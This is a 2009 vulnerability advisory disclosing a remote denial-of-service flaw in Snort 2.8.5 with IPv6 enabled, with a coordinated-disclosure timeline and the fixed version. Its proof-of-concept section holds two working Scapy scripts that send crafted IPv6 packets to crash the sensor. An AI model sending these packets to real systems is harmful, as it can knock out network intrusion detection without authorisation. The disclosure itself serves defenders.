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Snort 2.8.5 IPv6 Remote Denial Of Service

Snort 2.8.5 IPv6 Remote Denial Of Service
Posted Oct 23, 2009
Authored by laurent gaffie

Snort versions 2.8.5 and below suffer from an IPv6 related remote denial of service vulnerability.

tags | exploit, remote, denial of service
SHA-256 | fd81c9b1d14a60efa89b76dcfcfe0341d942a1d56a015464c5556527962cc83a

Snort 2.8.5 IPv6 Remote Denial Of Service

Change Mirror Download
=============================================
- Date: October 22th, 2009
- Discovered by: Laurent GaffiƩ
- Severity: Low
=============================================

I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6
crafted packet
To trigger theses bugs you need to have compiled snort with the
--enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two differents bugs easily by using the Python
low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 ->
icmp (not v6)


IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor


VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :

http://www.snort.org/downloads


VII. REFERENCES
-------------------------
http://www.snort.org/
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team released a new version.


IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent GaffiƩ
Laurent.gaffie{remove-this}(at)gmail.com
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